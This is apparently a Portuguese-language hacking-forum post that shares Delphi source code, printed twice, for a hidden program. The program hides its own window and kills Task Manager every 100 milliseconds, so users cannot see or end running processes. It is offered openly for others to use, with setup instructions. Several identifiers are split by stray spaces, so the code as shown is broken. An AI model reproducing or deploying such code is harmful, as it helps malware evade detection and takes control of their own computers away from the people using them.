Dae galera fmz?
Axei, 1 codigo aqui, e vou postar no forum...
Adicione 1 Timer, e subistitua a sua Unit por esta.
Ponha seu timer com Timer: 100
Abraços!
Axei, 1 codigo aqui, e vou postar no forum...
Adicione 1 Timer, e subistitua a sua Unit por esta.
Ponha seu timer com Timer: 100
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, TLHelp32, PsAPI, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function TerminarProcesso(sFile: String): Boolean;
var
verSystem: TOSVersionInfo;
hdlSnap,hdlProcess: THandle;
bPath,bLoop: Bool;
peEntry: TProcessEntry32;
arrPid: Array [0..1023] of DWORD;
iC: DWord;
k,iCount: Integer;
arrModul: Array [0..299] of Char;
hdlModul: HMODULE;
begin
Result := False;
if ExtractFileName(sFile)=sFile then
bPath:=false
else
bPath:=true;
verSystem.dwOSVersionInfoSize:=SizeOf(TOSVersionIn fo);
GetVersionEx(verSystem);
if verSystem.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS then
begin
hdlSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCE SS, 0);
peEntry.dwSize:=Sizeof(peEntry);
bLoop:=Process32First(hdlSnap,peEntry);
while integer(bLoop)<>0 do
begin
if bPath then
begin
if CompareText(peEntry.szExeFile,sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE,fal se,peEntry.th32ProcessID), 0);
Result := True;
end;
end
else
begin
if CompareText(ExtractFileName(peEntry.szExeFile),sFi le) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE,fal se,peEntry.th32ProcessID), 0);
Result := True;
end;
end;
bLoop := Process32Next(hdlSnap,peEntry);
end;
CloseHandle(hdlSnap);
end
else
if verSystem.dwPlatformId=VER_PLATFORM_WIN32_NT then
begin
EnumProcesses(@arrPid,SizeOf(arrPid),iC);
iCount := iC div SizeOf(DWORD);
for k := 0 to Pred(iCount) do
begin
hdlProcess:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,arrPid [k]);
if (hdlProcess<>0) then
begin
EnumProcessModules(hdlProcess,@hdlModul,SizeOf(hdl Modul),iC);
GetModuleFilenameEx(hdlProcess,hdlModul,arrModul,S izeOf(arrModul));
if bPath then
begin
if CompareText(arrModul,sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);
Result := True;
end;
end
else
begin
if CompareText(ExtractFileName(arrModul),sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);
Result := True;
end;
end;
CloseHandle(hdlProcess);
end;
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
TerminarProcesso('taskmgr.exe');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.ShowMainForm := false;
end;
end.
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, TLHelp32, PsAPI, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function TerminarProcesso(sFile: String): Boolean;
var
verSystem: TOSVersionInfo;
hdlSnap,hdlProcess: THandle;
bPath,bLoop: Bool;
peEntry: TProcessEntry32;
arrPid: Array [0..1023] of DWORD;
iC: DWord;
k,iCount: Integer;
arrModul: Array [0..299] of Char;
hdlModul: HMODULE;
begin
Result := False;
if ExtractFileName(sFile)=sFile then
bPath:=false
else
bPath:=true;
verSystem.dwOSVersionInfoSize:=SizeOf(TOSVersionIn fo);
GetVersionEx(verSystem);
if verSystem.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS then
begin
hdlSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCE SS, 0);
peEntry.dwSize:=Sizeof(peEntry);
bLoop:=Process32First(hdlSnap,peEntry);
while integer(bLoop)<>0 do
begin
if bPath then
begin
if CompareText(peEntry.szExeFile,sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE,fal se,peEntry.th32ProcessID), 0);
Result := True;
end;
end
else
begin
if CompareText(ExtractFileName(peEntry.szExeFile),sFi le) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE,fal se,peEntry.th32ProcessID), 0);
Result := True;
end;
end;
bLoop := Process32Next(hdlSnap,peEntry);
end;
CloseHandle(hdlSnap);
end
else
if verSystem.dwPlatformId=VER_PLATFORM_WIN32_NT then
begin
EnumProcesses(@arrPid,SizeOf(arrPid),iC);
iCount := iC div SizeOf(DWORD);
for k := 0 to Pred(iCount) do
begin
hdlProcess:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,arrPid [k]);
if (hdlProcess<>0) then
begin
EnumProcessModules(hdlProcess,@hdlModul,SizeOf(hdl Modul),iC);
GetModuleFilenameEx(hdlProcess,hdlModul,arrModul,S izeOf(arrModul));
if bPath then
begin
if CompareText(arrModul,sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);
Result := True;
end;
end
else
begin
if CompareText(ExtractFileName(arrModul),sFile) = 0 then
begin
TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);
Result := True;
end;
end;
CloseHandle(hdlProcess);
end;
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
TerminarProcesso('taskmgr.exe');
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.ShowMainForm := false;
end;
end.
Comment